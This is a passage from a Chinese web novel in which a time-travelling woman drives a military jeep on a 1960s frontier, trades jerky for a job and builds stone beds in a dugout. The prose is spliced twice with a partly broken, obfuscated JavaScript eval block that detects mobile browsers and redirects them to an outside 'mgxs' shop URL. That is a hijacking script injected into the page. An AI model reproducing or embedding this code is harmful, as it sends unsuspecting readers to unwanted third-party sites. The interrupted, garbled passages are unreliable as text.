可是无所谓,她一点儿都不在意他。她甚至觉得,他得感谢自己没想过真给陆沉舟当媳妇。不然她肯定得让他知道在一个正常的家里,女人才是真正的主人。 一行人刚刚走出牌楼不久,身后一辆吉普车就追了上来。 车窗降下,副驾驶一个脑袋伸了出来:“林作家,等一下我!” 来人正是赵铁柱连长,车辆停下,他“砰”的打开车门跳了下来:“林作家,幸好您没走远。我刚刚才想起有事要去趟102找王光明那瘪犊子。要不咱们一道儿坐车过去?” 这话一出,一时间所有人都艳羡的看向林晚霜,然而她毫不犹豫:“我得和我家人一路。” “这简单,一起上来就行,不过……”赵铁柱眼睛在陆沉舟身上打量了一圈,“我等会儿还得接个人,你们要是有人能开车,就行,不然最多再上来三个。” 林晚霜当即明白这人是冲陆沉舟来的,明明之前上车的时候,他已经在知道陆沉舟出身的部队后已经明显不再继续招揽了。现在看来情况明显又有了新的变化。 不过,再不清楚变化究竟是什么之前,她不拒绝按别人的安排走。 想到这里,她先开口:“我男人不会开车。” 赵铁柱明显不信,但也不反驳,只是打量了下陆父和陆星野,语气带着遗憾:“那就只能再带三个人了。” 陆父牙齿咬的咯咯响,他第一时间意识到了这是她故意的。她就是想撇下他,就是故意在打击报复! 然而不等他开始反击,陆星野已经开了口:“首长,我留下走路。我哥这一路都很累,我爸身体不好。我留下最合适。” “好小子,”赵铁柱没想到一个小孩居然会说出这样的话,不由得多看了他一眼,“今年几岁了?” “马上六岁了,”陆星野挺直了腰大声道,“报告首长,我长大了想来当兵!” “好!有出息!”赵铁柱哈哈大笑,然而笑完却看向了陆沉舟,“你真不会开?那你弟弟真的要走路去102排了,那路可比过来的路难走多了。他那么懂事就会为你着想,你就没有一点儿别的念头?” 陆父听了这话,打量了下陆星野,又看向陆沉舟,他忍不住建议:“要不沉舟你走路,把车让给星野坐吧。” 这车他这个当老子的不坐传出去他丢不起那个人,小儿子又太小自己走他不放心,算来算去只能让大儿子自己走了。陆父其实心里也有点心疼大儿子,但谁让他不会开车呢? 就在陆父内心为儿子纠结时,却听林晚霜突然说:“赵连长,你说需要有个人开车,那我行吗?” 这话一出,别说其他人,就连陆沉舟都呆住了。 “你?”赵铁柱看着她,语气中尽是怀疑,“林作家,这可不是写文章。” “会不会开试一下就知道了,”林晚霜毫不畏惧,她微抬着下巴看向赵铁柱,“莫非赵连长连让我试试的勇气都没有?” 她这话算是真激到赵铁柱了,不巧,他也会开车,所以还真不怕她试。 于是他命令汽车兵下来,自己上了副驾驶上,看向她:“林作家可以上来了,要不要我先帮您点火?” “不用。”林晚霜走向驾驶座,同时在脑海中发出指令让小智扫描这辆车,然后将它和后世手动挡汽车的不同之处重点标出来。 是的,林晚霜会开手动挡,因为手动挡报名费比自动挡便宜1000块,所以她学驾照的时候直接报名手动挡。又因为考试不过补考要额外付钱,她每次都是一把过,除了理论知识,其他都是满分。 她坐上车,按照小智给出的操作指南,手动阻风门冷启动,然后拉下手刹。 60年代的军用吉普和后世的轿车相比,操作更复杂。点火后一旦有哪一步没做好,都会立刻熄火。 赵铁柱全程紧盯着她,见她动作生疏,忍不住身体朝她探过去,随时准备接手,同时靠近车门的手还下意识地抓紧了车门。 然而,她动作虽然生疏,却没有任何错漏。 赵铁柱惊疑不定,这军用吉普是随便一个普通人都会开的吗? 他正想发问,却身体突然向后重重摔进座椅里。原来她一脚油门已踩下,仪表盘飞速转动,竟直接飙到了40码。 “快停下啊!”眼看车辆即将直直撞上前方土堆,赵铁柱惊恐大喊。 “哧——” 刹车声如他所愿的响起,车辆在离土堆5米的前方停下。 “啊!”赵铁柱被惯性甩出的,鼻子直接磕在挡风玻璃上。 “对不起,第一次开,手有点生。”林晚霜冲他抱歉一笑。 在这个世界她的确是第一次开,但是在前世她也是个驾龄7年的老司机了。 不过这年代的车灵活性低,操作难度高,她正在适应。 “神特么的手有点生,你的手熟过吗?”赵铁柱揉着红肿的鼻子惊魂未定。 “放心,我已经有经验了,”林晚霜说完直接向左打死方向盘,轻踩油门慢慢加速,用10码的龟速慢慢掉头,等车身摆正,才脚尖稍重加速到20码左右,重新开了回去。到了陆家人身边,她轻点刹车,慢慢停下,拉起手刹。 赵铁柱原本想让她下车的心思也被这行云流水的操作惊呆:“你特么的,这真是第一次开车?” “不然呢?”林晚霜看向他,“我去哪儿找机会用军用吉普车练手?我只是学东西有点快,看人家开了一次,就差不多学会了。谢谢赵连长今天给我上手的机会。” “你管这叫学东西有点快?”赵铁柱声音充满震惊和讶然,“你知不知道一个汽车兵从初学到上手需要多长时间?至少半年!能开成你刚刚这样的,加速和停车都很平稳的,一个指头都能数出来。” 反正身为开车两年的老司机,他是没办法做到。 他现在感觉他太狭隘了,伟人说妇女能顶半边天是真理!回去他就向上面打报告,提议让女兵也去学开车!搞不好军区很快就能多出一批女汽车兵来。 林晚霜看他半天没说话,忍不住提醒:“赵连长,我给你开车够格了吗?” “够!太够了!”赵铁柱连连点头,末了又忍不住问,“你为啥不让你男人开?别跟我说他真不会,他们那个队伍具体是啥我不清楚,但是只有各军区比武的前三名才能参加选拔。他要是不会开车,我把头拧下来给你当夜壶。” “那赵连长能不能告诉我,为什么你之前对我男人已经失去兴趣,现在又来试探他?”她侧身直视着赵铁柱,“还有,你突然要去102排,和我男人有关吗?” 赵铁柱脸色变了,然而这信息倒也不用保密,他想了想点点头:“林作家真是敏锐,我刚刚在连部接了个电话,有关陆沉舟同志的事,组织上有些新安排。我去102排的确是为了陆沉舟同志,但也可以说是为了林作家你。” 林晚霜不说话,等他继续说。 “林作家不是要采风吗?我得去和王排长说一下,让他在一定程度上,给予你及家人一些方便。”赵铁柱说的很光棍。 她立刻就反应过来,这个要给予方便的家人应该特指陆沉舟。而她就是个立在明处的幌子,用来掩藏陆沉舟的特殊,让人以为陆沉舟是因为她所以才得到了优待。 既如此,这幌子立起来是为了迷惑谁呢? 赵铁柱接到的这通电话和他们在师团部遇到的张墨坤有关吗? 她心念动的极快,一瞬间便想到了无数种可能。然而表面却已带上了自矜地笑容:“多谢赵连长让我一下子变成婆家的大功臣了。” 赵铁柱本来已经做好她再继续追问为什么就立刻甩锅的准备,却怎么也没想到她居然立刻接受了新身份。 明明前一刻还为了隐瞒丈夫会开车的事实自己站出来顶上,现在却因为即将涉及秘辛能立刻停止打问。 想起随军家属中好些个把男人任务内容当做谈资,导致男人升迁受影响,甚至记过的女人。 他忍不住感叹:陆沉舟同志果然是有大造化的,且不说都沦落到这里,上面还有人专程打电话来安排他,就光是这娶得媳妇就足以令人艳羡。 两人快速交流完,赵铁柱就下了车去开后备箱带陆沉舟去放行李。 杜枝花一家站在原地看完这场试车,被储一恒和张子枫催促着上路。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195466|194553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这回没了冤大头的物资承诺,曹大军和曹小军根本不愿推车。一家人只能一边抱怨一边深一脚浅一脚的跟着板车离开。 赵铁柱帮陆沉舟将包放进后备箱,入手的重量让他一惊。他看着陆沉舟笑道:“陆同志,你这准备的东西不少啊。” 陆沉舟直接打开包抓了一把肉干递过去:“烤的狍子干,兔子干。赵连长要不试试?” 赵铁柱也不回绝直接收了肉干:“咱们的纪律是不拿群众一针线,不过你嘛,可不能完全算群众。” 陆沉舟原本见他追出来,又故意提让他开车时就已经有了猜测。此刻心头的石头总算落了地,他低声问:“组织上对我有什么安排?” 赵铁柱咬了口肉干,眼睛不经意地打量了下正在上车的陆父和陆星野:“等着,会有人去找你,具体的我权限太低也不清楚。” 陆沉舟也没多问,又递过去一把:“这味道还行?” “非常顶!”赵铁柱伸了个手指头,“你媳妇儿不错,你小子有福。” 这话可不是在说肉干,毕竟陆沉舟也没提到肉干是谁做的。不过他眼眸一闪,并没多问,直接应下了这句夸奖:“我的确有福。” 赵铁柱说了两句话,收获了两大把肉干。拿衣服下摆兜了,喜滋滋地上了副驾驶座,开始嚼嚼嚼。 陆沉舟顺手又抓了一把,去到后座,递给陆父和陆星野吃。 陆父拿起肉干啃,这肉干用了天然的植物做调料,味道很淡,却有种奇异的药香和柴火香。 车辆开动起来,身为一个老司机,林晚霜开上手之后就忍不住炫技。 不过她炫技的方式不是飙车,而是在注重速度的同时,尽量避开坑洼路面,力求一个稳字。 六十年代的边疆,路面如同月球表面,于是这辆吉普车在她的操控下很快开始了蛇形走位。 赵铁柱初时发现视野乱晃还惊了下,很快就品出这样的好处。要不是两边风景一直在变,这车压根都不像在往前。 他指了几次路后,发现她认路很是厉害,于是开始啃手上的肉干。不再实时盯着她了。 认路这件事林晚霜压根儿没为难自己,她想要自力更生,自己决策,不代表她要放弃实时导航。 赵铁柱啃着肉干看着窗外,忍不住想要吟诗一首,于是他看向林晚霜:“林作家,做首诗来听听呗。” 如果说是写纪实文学,林晚霜是不带怕的。可是写诗这事儿的确是难为她了。 不过她之前为了先声夺人,已经当过一回小智的文抄公,如今只能厚着脸再当一次。 小智快速根据她提供的关键词快速给她生成了几首短诗,她选了一首,自己稍微改了点字,让诗看上去和当下更加贴合。 “一锹一镐叩荒原,风沙裹衣作粮棉。青春燃尽盐碱地,绿洲深处是故园。”做完文抄公,她压下心里快要爆棚的羞耻心,睁大眼睛盯着前方。 她知道赵铁柱是要探探她深浅,看她是不是真能根据场景写点东西。可这首之后,如果赵铁柱还让她写什么诗歌,她立刻就会拿专心开车不好分心来搪塞。 陆父正吃着肉干,一口下去,植物的清香柴火的醇香满口都是,吃的他根本不想停下。 然而她开始念诗的时候,陆父停下了吃的动作,直到她念完,他还回不过神。 这是才女?他陆家居然出了个才女?这可真长脸啊!看来以后孙子的学习是不用愁了。 他正想着呢,突然听到赵铁柱拍手叫好。 “好诗!反正我是听懂这是说我们开荒连的事了!林作家等会儿就帮我写下来,我带回连部让广播站的同志念出来。让大家伙都听听。” 林晚霜吓了一跳,这公开处刑就不必了吧。 然后赵铁柱又说.“也是让大家心里提前有个底,毕竟以后林作家少不得要来连部采风。” 她闭了嘴,话说到这里,已经不是羞耻不羞耻的问题了。这就是为了把幌子扯起来,赵铁柱说她去连部采风,到时候多半是让陆沉舟送她去呢。 想到这里她便笑着说:“那就多谢赵连长替我扬名了。” 赵铁柱见她一点就透,立刻哈哈大笑起来。 开着吉普车,原本要走一个多小时的路,二十多分钟也就到了。 见到连部的车来,正在巡视的小战士立刻吹响了胸前的铁哨。 “哔哔哔——” 刺耳但极富节奏感的哨音响起,赵铁柱拦住想要开门下车的陆沉舟:“不急,王光明那瘪犊子一准儿跑工地去干活了。咱们在这里坐着等等。” 于是大概又等了十几分钟,一个头戴毡帽,穿着灰袄,一身灰扑扑的中年男人大踏步朝他们走来。 赵铁柱立刻开门下车迎上去一把抱住他。 林晚霜坐在车里看着他们互相捶胸,又指着车的方向说了什么。 然后两人一前一后朝他们走了过来,林晚霜立刻下车,陆沉舟也站在车外,扶着陆父和陆星野下了车来。 “这就是我跟你说的林作家,”赵铁柱指着林晚霜说,“你这个粗人千万别小看笔杆子的力量。去年黑省那边出了一篇报道,引起全国关注。今年政策大幅度向那边倾斜。不说别的,那边兄弟部队一个月都能吃上两回肉了。” 王光明腮帮子咬的很紧,他今年四十二岁,当兵前是个睁眼瞎。全靠敢打敢拼资历足够才当了排长。 按要求去参加扫盲,结果字认识他,他不认识字。要不是他身处边疆建设兵团,为人正直又踏实肯干。前几年裁军他早就复原回乡了。 赵铁柱找他说林晚霜的事时他本来不同意:好好的开荒,怎么能搞特殊待遇?可现在听到兄弟部队因为一篇报道每个月都能吃上肉了,他忍不住有些纠结了。 开荒本就是重体力劳动,光靠那点干粮撑着,人都给熬干了。 不过—— 王光明上下打量着林晚霜:“你真的能写出上《人民日报》的文章?” 赵铁柱立刻催着林晚霜把那两首诗拿出来。 她忍住内心的羞涩,将在卡车上和刚刚在路上抄的诗又拿出来说了一次。 “听不懂,”王光明咂摸了下,很诚实地摇头,“就是怪押韵的,还有那锹啊镐,盐碱地啥的也很实在。” “那你就说这事成不成吧?”赵铁柱催他做决定,“如果你这儿不成,我就打报告给林作家他们换个地儿。这种文化人,上头就是不知道,不然哪里轮得到你们102排?” 王光明听了这话一横心:“成了,不过林同志可以少干,其他人不行。她如果要去采风,她男人可以送。但得提前几天跟我打报告。一个月不能超过4次,不然我不好管。” 陆家人也是到了现在才知道赵连长是为了这事儿过来的。而且陆沉舟明显是沾了林晚霜的光,还得了能外出的机会。 一时之间,陆父这心里头只觉得复杂的不行:咋他瞧不上的祸家头子一直在给家里头谋福利? 40. 第 40 章 连陆父都被现实打击到开始怀疑自己了,陆星野自不必说。 不过作为兄控,他很快找到了合理解释:一切都是他哥的功劳,林晚霜这个恶女毒妇嫁给他哥之后都变的如此厉害了。 他看向陆沉舟,再次坚定自己一定要听哥哥话的决心。 赵铁柱看事实安排妥当,时间也还早,干脆送佛送到西,帮陆沉舟背了个包,掏出几根肉干塞给王光明吃。 “这不合规定。”王光明看到肉干,立刻就想拒绝。毕竟规定在那儿,群众的一针一线都不可拿。即使是下放人员那也是一样。 赵铁柱直接塞他嘴里:“吃,人家陆同志以前和咱一样是当兵的。也不能完全算群众。” 他别的倒是没跟王光明说,不是信不过他,而是这老小子人太憨直,根本藏不住事。 王光明被迫咽下一口,眼睛瞬间亮了:“这肉干能不能和我们换点?我们生产队的同志已经三四个月没见到肉沫了。” 陆父闻言就想免费大派送,被陆沉舟一把扯住不让他说话。 林晚霜上前一步:“王排长,这肉干是我做的。您想换多少?” 王光明立刻看向她:“林同志能换多少给我们?” 林晚霜盘算了下,他们原本有七十多斤肉干,省着点吃大概能吃个一两年,但这里的人的确也太苦,倒不如拿出些肉干换个工作:“我公公身体不好,小叔子年纪又太小,如果跟大家做一样的活,只怕会拖累同组队员。” 赵铁柱听的眼睛都亮了,觉得这女人果然厉害。 陆父却是脸白了又红,他觉得林晚霜这样让原本的善行变了味,是对陆家门风的侮辱:“沉舟媳妇儿,这里的人本来就够难了,你怎么能这么1市侩呢?听爸的,全拿出来捐给需要的人!就当是为肚子里的孩子积福!” 这话太振聋发聩,全场有一个算一个都傻了。 王光明最先反应过来,他严肃的解释:“老人家,感谢你一片好心,但这事儿不能这样做。你们毕竟是群众,这样做了会让我们犯错误。另外,你们这样做,可能会导致我们这里产生不良风气。” 他是个粗人,不懂啥大道理。但他知道一旦有人这样做了,就会有更多人开始逼迫其他人也做同样的事。这样一来所有人都会盯着别人的家底,人心就乱了,队伍就散了。 陆父不明白他做个好事怎么还会被人说“不应该”,他指着林晚霜问王光明:“领导,是不是我这儿媳妇说啥不该说的了?我们是真心想要给咱们同志改善生活的。” 赵铁柱这时候才反应过来,他同情的看了一眼陆沉舟。这辈子遇到任性刁蛮的老人很多,陆沉舟父亲这款的还是头回见。真是家家有本难念的经,古人诚不欺他。 “王排长,您看有合适我小叔子的工作吗?”林晚霜见大家都回过神,继续问道。 至于陆父,即使给他换了工作,他只怕也不屑受嗟来之食。她还是不自找没趣了。 两人很快便以30斤肉干作为交换把张子枫说的那个厨房帮工的工作换给了陆星野。 要知道开荒队任务繁重,这里孩子本也不多,所以孩子们通常就在大人上工的时候,挖野菜,捡柴火,赚点零散的工分补贴家用。 当然肉干也很重要,否则王光明宁愿继续让张子枫过去兼职。 陆星野这份工作主要内容是登记队员们孩子送来的野菜,柴火,为他们记录工分,还有在灶台上帮忙。如果还有空闲,他也可以和孩子们一起去挖野菜捡柴火,额外赚工分。 达成这笔交换,王光明又带他们去看地窝子,挑了个最好的给他们落了脚。 地窝子是一种泥巴做的半地下建筑,露出地表的部分呈半圆形。 说是最好,也不过是今年开春新糊了层黄泥,里面还没沤烂。 地窝子内部约莫十平左右,地上只有些潮湿的稻杆证明曾有人在这里生活过。 “稻杆麦秸都属于战略物资,每年秋收从米泉那几个边疆能产粮的地方运过来。今年的早被人分完了。”王光明有些不好意思,毕竟他现在身边一大块布里头可放着30斤肉干呢。结果人家连个铺床的稻杆他都给不了。 但真的没办法,他自己住军营里,睡的是上下铺木板床,稻杆麦秸早让给生产队住地窝子的队员了。 “等下我去抱点柴过来,你们用个火把地烤一遍吧。”他最后想了个办法,“今年就这样凑活下,等明年秋天麦秆过来,我做主让你们优先抱走一些。” 看陆家人已经开始打扫地窝子,他干脆道了别,抱着肉干去灶房那边了。 赵铁柱蹲下身帮忙把稻杆抱出去,稻杆已经很陈旧,但这会儿戈壁滩上的日头挺毒,要晒晒这稻杆倒也勉强能用。 陆父受不得灰尘,杵着棍子站在地窝子入口就没进去,他抬头看着灰扑扑的天空,心头无限悲凉。 正心生感慨之时,见赵铁柱抱着稻杆出来,赶紧让到一边。有心想要和赵铁柱说点话,然而他从前都是和比他地位低的人打交道。如今实在有心交好,却半天都说不出一个字来。 地窝子里,林晚霜飞速查阅了相关资料,心里有了点模模糊糊地想法。 “陆沉舟,”她叫住正在打扫地面的男人,“这里昼夜温差太大,很容易形成水汽,我们不能睡在地上,必须想办法抬高床位。” 陆沉舟走过来看着她:“这些我刚刚也想到了,我问了王排长。但是军营里的木板床是从京都那边和物资一起统一调运过来的。边疆的白桦树属于重要战略性物资,想要砍伐需要逐级上报。” 他一进来就发现了这里不适合住人,别说等到明年秋天了,光是熬过这个冬天都只怕很难。 长期睡在潮湿的地方人是会得病的,他当时就去找王光明问了,他想要点东西,木板,木片,或者稍微粗壮一些的树枝都行。 可是没有,他只能想着以后多捡点柴火,时不时烧起来烘烘。 “我刚刚开车路上看到一些长石头,”林晚霜看着脑海中的实时导航,“趁吉普车还在,我们去看看有没有合适的,拉回来垒张床。” 半小时后,林晚霜开着吉普车在戈壁滩上乱晃。 副驾座上赵铁柱双手托着头,瞥了眼她,嘴里叼着的肉干随着他说话一翘一翘的:“砾石滩上大多数石头被风吹的一碰就风化了。你非说在书上看过有什么风棱石不会风化。这都转了多久了?风棱石在哪儿呢?” “赵连长要嫌浪费时间可以不来。”后座的陆沉舟沉声说道。 “那你们倒是把车还我啊!”赵铁柱忍不住吐槽,“我不全程跟着,万一车出了事怎么办?” 林晚霜看着脑海中的导航显示,又灵活的打了一圈半方向,一个漂移弧线绕后,猛踩油门飚到80迈。 “你看你媳妇儿!”赵铁柱艰难的扣住座椅两侧,努力稳住身形不被甩出去,嘴角的肉干掉到了腿上,“你媳妇这车开的!我敢不跟着来吗?” 林晚霜加速跑了几分钟,突然轻点刹车,熄火,拉起手刹:“到了,下车吧。” 赵铁柱也顾不得说话了,立刻直起上半身,语气充满质疑:“这就到了?” 继而他的质疑变成了惊呼:“我的天!好多大石头!” 车窗外,目光所及之处,满地都是石头。 和赵铁柱之前见过的沙砾滩不一样的是,这里的石头很大。 长条形的、三棱形的、梭子状的,以各种角度斜插或横卧在沙砾中,像一片被时间遗忘的冷兵器库。 阳光直射下,这些石头的表面闪烁着一种油亮的、暗沉的光泽,像涂了一层深色的漆。 陆沉舟已经踏进黄沙中,走过来给林晚霜开了车门:“小心,这里沙化很严重。” 林晚霜看他小腿都没入了黄沙一些,小心扶着他的手臂下了车。 赵铁柱已经冲过去抚摸一块三棱形的石头,眼神痴迷:“好石头,这一戳子下去,肯定能把人捅个对穿。” 等林晚霜他们走过来,他才问:“这石头怎么这么硬?一点都看不到风化的痕迹。” “这就是风棱石。在这里待了千万年,被风当砂纸一样,按着几个固定的方向来回打磨出来的。有棱有线的那一面,就是风来的方向。”林晚霜虽然从小智那里知道了风棱石的存在,但当她此刻直面风棱石时,也不免震惊于大自然的鬼斧神工。 “走吧,大自然已经把家具给我们准备好了,现在我们自己搬回去。”陆沉舟打量着这些石头,眼神微眯。 一小时后,吉普车旁。 “不行!绝对不行!”赵铁柱伸开双臂护在车门口,扭头朝林晚霜大喊,“快管管你男人,他的想法太危险了!这么重的石头,我是绝对不会允许它们上车的!” 他脚边此时趴伏着六条长短粗细差不多的风棱石。很明显,这就是陆沉舟挑的床。 “你相信我,我有经验,这些绝对不会弄坏车。”陆沉舟还在试图解释。 “我相信你的经验,”赵铁柱非常光棍,“但我拒绝你的行为。” 林晚霜看他们在这里僵持了十几分钟也不是个事儿:“那就带两条回去给王排长看,问他有没有兴趣组织队员过来拉石头。要没有,咱们就问他借板车自己过来。” “林作家,这不是多少的事,主要是这石头太长了,要拉的话车门肯定关不上。我怕倒时候沙子都进来车里,修都不好修。”赵铁柱无奈的说。 “我开车,保证沙子进不到车里。”陆沉舟说话了。 赵铁柱有点心动,他实在很想见识下那支部队里人的能力。 “那如果出了问题……”但他还是有些犹豫,毕竟这可是吉普车啊。 “如果出了问题,你就去找张墨坤赔,”陆沉舟直接把兄弟卖了,“放心,他肯定会赔。” 赵铁柱眼珠子转了转,他隐约猜出张墨坤大概不光是陆沉舟领导这么简单。但既然有人兜底了,他也很光棍,立刻帮忙把石头抬起来放后座。 六块长石头全部放好,车轮已经被压的往黄沙里陷进去了大半。赵铁柱非常光棍的往副驾驶上一蹿,等着看好戏。 林晚霜有些担心,她知道陆沉舟想干什么。 力学中动量和压强的平衡原理:速度越慢,压强越大。 想要不让黄沙进入车内,唯一的方法就是让车在戈壁滩上“飘”起来。 飘起来的方法听起来也很简单:起步要尽量柔,但稳住油门后,就需要立刻提速,全程保持高速行驶的状态下,拐弯平稳丝滑。 可是这在现代的高速路上尚且难做到,更别提开着六十年代性能远比不上后世的车,在戈壁滩上。 而且他们过来这一路,她在有实时导航的情况也多次急转弯避开障碍。当时她最高也就开到80迈,可现在陆沉舟要这么干,他最低都得开到80。 但现在木已成舟,她只能担心的看了他一眼。 “放心吧,我这样开习惯了。”陆沉舟接收到她的眼神摸了摸她的头,转身走向驾驶座。 “他这是,把我当陆星野了?”按捺下心头的异样,她摇了摇头,上了后座。 “抓好门,我要开车了。”他利落的点火启动车辆,对着后座的林晚霜说了一声。 现在的车可没有安全带这种东西,车顶上也没有拉手,林晚霜知道车速一旦飙起来如果不拉稳车门,固定好自己,搞不好会从没关的那边甩出去。 “我抓好了,”林晚霜说完,突然脱下外套,解开腰间缠着的布料递给赵铁柱,“赵连长,麻烦你把我捆在座位上。” 为了安全,她坐在左后方,长条风棱石在她脚下,她觉得还是手动做个安全带更保险,不然万一磕在石头上也不好。 “我来,”陆沉舟接过布料,挂了空档直接推门下车,在车辆的轰鸣声中,将林晚霜结结实实捆在了后座上,“放心,我很有经验。” 努力忽略这诡异的情景,林晚霜别开头不去看他:“快点,好了没。快走吧。” 赵铁柱扒着椅子往后看,笑得一脸□□:“哎哟,你们平时也这么玩?这手法,啧啧啧。我是不是不该在车里?” 陆沉舟很快捆好她,为她关上车门,回到驾驶座上,手动挂档,然后轻点油门。 “哎哟我去,你这是报复啊!”赵铁柱被惯性扔进了座椅里,“对我的车好点,一上来就这么快,它受不了。” 开着一边车门在六十年代的戈壁滩上飚到110迈是个什么概念?林晚霜谢绝采访,因为她感觉自己的脸已经被风吹的变形了。 车辆灵活的穿梭在戈壁滩上,时而一个轻巧的转弯,时而丝滑的避开障碍。 原本过来花了差不多一个小时,现在楞在二十五分钟之内回到了起点。 车停下的时候,赵铁柱还在发懵。 陆沉舟下车检查了车辆的情况,发现只是有些轻微的进沙顿时松了口气,他先给林晚霜解开束缚,又招呼赵铁柱:“下车搬东西吧,等会儿我帮你把车拆开处理下,你这车里头还有点进水。” 赵铁柱顿时想到大前天这车的确去帮后勤去河边拉了批物资。他摸了摸鼻子,定了定神,开门下车,却发现自己根本迈不开腿,抖的太厉害了。 谁能懂他啊,无数次看到自己马上要撞车了下一秒又活过来了。生死之间有大恐怖,他今天就见了十几次。 “沉舟啊,”陆父听到动静,赶紧钻出地窝子,“啥时候吃晚饭啊?我饿了。” 林晚霜看了眼时间,发现已经快六点了。 边疆黑的晚,要立冬以后下午六点才会开始天黑,其余季节都在八点左右。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200270|194553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “还不急啊老爷子,”赵铁柱咬了咬舌尖,拍了下自己还在微颤的大腿,“咱们这边要在七点多才下工,下了工会有人敲锣喊开饭,打了饭就可以回家歇着了。” “哥,刚刚王排长让人送了柴火,我点燃了烘地,还顺便去领了今天份例的水烧开了。”陆星野一脸灰的从地窝子里钻出来,袖子挽的老高。 “沉舟啊,你能不能和王排长说说,这水一个人一天才两碗根本不够,水也不好。黄黄的,一股子味儿。烧开了都不好喝。”陆父这辈子受的委屈加起来都没这段时间多。今天看到陆星野领回来的水之后他这委屈可算是终于按捺不住了。 “大戈壁就这样,缺水,缺粮,啥都缺,”陆沉舟看着陆父,“所有人都这样,爸,我们得赶紧把石头搬进去布置成床。不然晚上就得贴地睡了。” 陆父听到这话,忍不住往身后的地窝子看了一眼,赶紧让开路:“那快点吧,这样的地方贴地睡一宿,哪能成呢。” 陆星野闻言赶紧钻回地窝子,开始收拾火堆,给哥哥腾地。 林晚霜跟着进去,然而她很快发现,陆沉舟对地窝子里的规划非常合理,而里头空间本就不大,他和赵铁柱两个大高个儿扛着石头做床,她压根儿帮不上忙。 想了一下她干脆带着陆星野去找树枝,到时候放石头上勉强做个骨架。 看到林晚霜和陆星野出来,陆父想了想杵着棍子就跟上了。 “沉舟媳妇儿,爸有个事跟你商量,”或许是赵连长和王排长的看重让他心头有了顾忌,他现在说话客气多了,“你看,能不能别让星野去厨房?” “爸想星野去哪儿?”按下旁边张口就要喷火的陆星野,林晚霜尽量温婉地说话。 “我打听过了,人家七八岁的大孩子都在开荒排没正式工作,”陆父说着越发觉得自己有理,“星野这么小,传出去人家说我们搞特权,我们本来就是下放人员。这样会招祸的。” “爸!”林晚霜提高了声音,“之前做这个工作的人调到其他地方去了,因为队上识字的人太少,所以一直空了两三个月都找不到合适的人,只能让张子枫同志兼一下,星野之所以能拿到这份工作,除了那30斤肉干,更最重要的原因是他认字,会写字。” “那也不能!”陆父气急了,“做好事是不能求回报的。星野如果做了这个工作,他以后就会认为做什么都要和别人做交换。这对他的成长极为不利!” “赐失之矣。自今以往,鲁人不复赎人矣。取其金则无损于行,不取其金则不复赎人矣。”林晚霜突然扬声道,“请爸教我,这是什么意思?” 陆父如同被扼住脖子的鸭般瞬间失了声。 林晚霜说的话出自《吕氏春秋》说的是孔子的一个学生在国外赎回了一个鲁国奴隶,按照鲁国的法律,他可以在回到鲁国后去找官府报销赎金。可是这个学生却认为他是发自内心做善事,不求回报。 结果孔子知道后很生气的说了这番话,意思是他一个“善举”会造成鲁国其余人遇到这种事后不再赎人。因为他把道德标准立的太高,如果赎人后再去拿钱,其他人就会被视为道德有瑕疵。 后来孔子又有一个学生救人后收下别人的重礼,孔子非常高兴地说,因为你收了礼,所以以后愿意救人的人会更多了,你这才是真正的善良。 陆父自幼习文,自然是通晓其中的典故。 “你这是狡辩,”最终他停住了脚步,脸色煞白,失魂落魄地站在原地,“孔圣人说的话是有语境的,和我们现在的情况不一样,真的不一样,你说的不对。” 然而林晚霜没有回应也没有停下脚步,陆星野脚步顿了下,回头看了看陆父,最终一咬牙跟着林晚霜走了。 等林晚霜和陆星野抱着粗细不一的树枝和捡来的白桦树皮回到地窝子的时候,赵铁柱已经走了。 地窝子被分成了两个区域,扯了一根布绳,挂着几件衣服分隔开。 入门放着用沙土垒成的灶台,上面放着一口锅和一些调料。 衣服后面就是睡觉的地方,陆沉舟和王光明此刻就站在那里看着三张石床的雏形。 “陆同志,我真是服了你们这些文化人的脑子了。我在这戈壁滩上呆了七八年了,你说的那个地方我路过远远看过一眼,觉得有点奇怪,但压根就没往床上面想。”王光明对着风棱石摸了又摸,爱不释手。 “主要是我媳妇儿看的书多,她说这附近肯定有风棱石。”陆沉舟毫不居功,“王排长,除了做床,其实这石头也可以做点别的。地窝子的生活条件实在太差了,我怕一直住这样的地方,队员们身体健康会受到影响。” 王光明点头:“我们队员里患风湿,肺病,皮肤病的人太多了。我们也知道就是地窝子太潮的问题,但是没办法,解决不了。我明天就组织人手去搬这个风石头。尽快把床铺像你们这样垫高起来。” 林晚霜听到这里抱起地上的树枝树皮走了进去:“沉舟,我带了东西回来铺床,王排长也在啊。” 王光明目光立刻盯住她手里的东西,等看清后他惊讶地出声:“树枝?树皮?这不是柴火吗?铺床不硌?” “王排长,这是搭床骨架用的,床体现在有了,没有骨架铺上稻草麦秸还是会贴地。砾石滩上有合适的风棱石,但是想要咱们全队都睡上这石头床就不能我们家全给占了。”林晚霜一边动手把树枝往两条石头中间横搭,一边说。 “这树枝树皮是不结实,但坏了咱们就拿去当柴火,再换新的,”她假装没看到王光明越来越亮的眼神,继续手头的事,“而且冬天还没来,外头日头还高,沙子都热的烫脚。我寻思多弄点热沙子,倒地窝子里吸潮,应该也是可以的。” 接着她又将小智提供的一些方法转化成生活性语言,一点点说出来。 